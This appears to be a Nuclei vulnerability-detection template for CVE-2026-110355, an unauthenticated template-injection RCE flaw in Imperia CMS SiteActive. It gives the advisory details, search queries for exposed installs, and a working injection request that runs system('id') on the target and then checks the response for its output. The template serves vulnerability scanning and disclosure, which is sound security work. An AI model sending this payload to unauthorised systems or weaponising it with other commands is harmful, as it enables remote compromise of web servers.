Imperia CMS SiteActive <=11.5.4 - Unauthenticated SSTI Remote Code Execution

id: CVE-2026-110355

info:
  name: Imperia CMS SiteActive <=11.5.4 - Unauthenticated SSTI Remote Code Execution
  author: rcesecurity,DhiyaneshDk
  severity: critical
  description: |
    Imperia CMS versions 11.5.4 and below are vulnerable to unauthenticated server-side template injection via the TEMPLATE parameter in /cgi-bin/site_active.pl. An attacker escapes the generated include directive, injects PHP code, and triggers the PHPExec postconverter to execute arbitrary system commands. Requires CGI-enabled installations with SiteActive HTTP access and PHP available.
  impact: |
    An unauthenticated attacker can execute arbitrary system commands on the web server as the web process account.
  remediation: |
    Upgrade to Imperia CMS 11.8.0 or later.
  reference:
    - https://www.rcesecurity.com/2026/10/imperia-cms-siteactive-template-unauthenticated-ssti-rce-cve-2026-110355/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-110355
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 1
    vendor: imperia
    product: imperia-cms
    shodan-query: 'http.html:"imperia"'
    fofa-query: 'body="imperia"'
  tags: cve,cve2026,imperia,ssti,rce,unauth

http:
  - raw:
      - |
        GET /cgi-bin/site_active.pl?TEMPLATE={SITE_ACTIVE}X')%25}<%3fphp+system('id')%3b%3f><!--postconvert%3aPHPExec()-->{%25%23%23y(' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_.-]+\) gid=[0-9]+\('

      - type: status
        status:
          - 200